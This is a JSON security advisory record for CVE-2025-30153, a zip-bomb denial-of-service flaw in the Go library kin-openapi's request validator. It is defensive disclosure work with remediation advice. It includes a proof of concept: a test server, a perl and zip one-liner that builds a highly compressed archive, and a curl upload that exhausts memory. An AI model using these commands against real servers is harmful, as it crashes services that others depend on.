{"schema_version":"1.7.3","id":"GHSA-wq9g-9vfc-cfq9","published":"2025-03-19T18:12:53Z","modified":"2026-02-04T04:10:22.835576Z","aliases":["CVE-2025-30153","GO-2025-3533"],"related":["CGA-2496-32ph-55j5"],"summary":"Improper Handling of Highly Compressed Data (Data Amplification) in github.com/getkin/kin-openapi/openapi3filter","details":"### Summary\n\nWhen validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory.\n\n### Details\n\nThe root cause comes from the [ZipFileBodyDecoder](https://github.com/getkin/kin-openapi/blob/6da871e0e170b7637eb568c265c08bc2b5d6e7a3/openapi3filter/req_resp_decoder.go#L1523), which is registered [automatically](https://github.com/getkin/kin-openapi/blob/6da871e0e170b7637eb568c265c08bc2b5d6e7a3/openapi3filter/req_resp_decoder.go#L1275) by the module (contrary to what the [documentation says](https://github.com/getkin/kin-openapi?tab=readme-ov-file#custom-content-type-for-body-of-http-requestresponse).\n\n### PoC\nTo reproduce the vulnerability, you can use the following OpenAPI schema:\n```yaml\nopenapi: 3.0.0\ninfo:\n  title: 'Validator'\n  version: 0.0.1\npaths:\n  /:\n    post:\n      requestBody:\n        required: true\n        content:\n          multipart/form-data:\n            schema:\n              type: object\n              required:\n                - file\n              properties:\n                file:\n                  type: string\n                  format: binary\n      responses:\n        '200':\n          description: Created\n```\nAnd this code to validate the request (nothing fancy, it basically only calls the `openapi3filter.ValidateRequest` function`):\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"net/http\"\n\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\tlegacyrouter \"github.com/getkin/kin-openapi/routers/legacy\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n)\n\nfunc handler(w http.ResponseWriter, r *http.Request) {\n\tloader := openapi3.NewLoader()\n\n\tdoc, err := loader.LoadFromFile(\"schema.yaml\")\n\tif err != nil {\n\t\thttp.Error(w, \"Failed to load OpenAPI document\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\tif err := doc.Validate(r.Context()); err != nil {\n\t\thttp.Error(w, \"Invalid OpenAPI document\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\trouter, err := legacyrouter.NewRouter(doc)\n\tif err != nil {\n\t\thttp.Error(w, \"Failed to create router\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\troute, pathParams, err := router.FindRoute(r)\n\tif err != nil {\n\t\thttp.Error(w, \"Failed to find route\", http.StatusNotFound)\n\t\treturn\n\t}\n\n\tinput := &openapi3filter.RequestValidationInput{\n\t\tRequest:     r,\n\t\tQueryParams: r.URL.Query(),\n\t\tRoute:       route,\n\t\tPathParams:  pathParams,\n\t}\n\n\tif err := openapi3filter.ValidateRequest(r.Context(), input); err != nil {\n\t\thttp.Error(w, fmt.Sprintf(\"Request validation failed: %v\", err), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tw.Write([]byte(\"request ok !\"))\n}\n\nfunc main() {\n\thttp.HandleFunc(\"/\", handler)\n\tlog.Fatal(http.ListenAndServe(\":8080\", nil))\n\n}\n```\n\nWe also need to create a zip bomb. This command will create a 4.7GB file and compress it to to 4.7MB zip archive:\n```shell\nperl -e 'print \"0\" x 5000000000' > /tmp/bigfile.txt; zip -9 /tmp/bomb.zip /tmp/bigfile.txt\n```\n\nRun the PoC provided, and upload the zip bomb with `curl localhost:8080/  -F file=\"@/tmp/bomb.zip;type=application/zip\" -v`.\n\nObserve the memory consumption of the test server during and after the upload (it jumped to a bit over 22GB in my testing, with only a 4.7MB input file, you can reduce the size of the generated file to not kill your test machine when reproducing.) \n\n### Impact\n\nAn attacker can trigger an out-of-memory (OOM) condition, leading to server crashes or degraded performance.\nIt seems to only be exploitable if the OpenAPI schema allows for multipart upload.\n\n### Remediation\n\nI see at least 2 potential fixes/improvements:\n - Do not register by default the zip file decoder (I honestly was a bit surprised to see it was enabled by default, it seems to be quite a niche use-case ?)\n - Update `ZipFileBodyDecoder` to enforce a maximum size of the decompressed archive and bailout as soon as it's reached (probably with a small default value and allow the users to configure it through the input options ?)","affected":[{"package":{"name":"github.com/getkin/kin-openapi","ecosystem":"Go","purl":"pkg:golang/github.com/getkin/kin-openapi"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.131.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/03/GHSA-wq9g-9vfc-cfq9/GHSA-wq9g-9vfc-cfq9.json"}}],"references":[{"type":"WEB","url":"https://github.com/getkin/kin-openapi/security/advisories/GHSA-wq9g-9vfc-cfq9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-30153"},{"type":"WEB","url":"https://github.com/getkin/kin-openapi/pull/1059"},{"type":"WEB","url":"https://github.com/getkin/kin-openapi/commit/67f0b233ffc01332f7d993f79490fbea5f4455f1"},{"type":"PACKAGE","url":"https://github.com/getkin/kin-openapi"},{"type":"WEB","url":"https://github.com/getkin/kin-openapi/blob/6da871e0e170b7637eb568c265c08bc2b5d6e7a3/openapi3filter/req_resp_decoder.go#L1275"},{"type":"WEB","url":"https://github.com/getkin/kin-openapi/blob/6da871e0e170b7637eb568c265c08bc2b5d6e7a3/openapi3filter/req_resp_decoder.go#L1523"},{"type":"WEB","url":"https://github.com/getkin/kin-openapi?tab=readme-ov-file#custom-content-type-for-body-of-http-requestresponse"}],"database_specific":{"cwe_ids":["CWE-409"],"github_reviewed":true,"github_reviewed_at":"2025-03-19T18:12:53Z","nvd_published_at":"2025-03-19T16:15:33Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}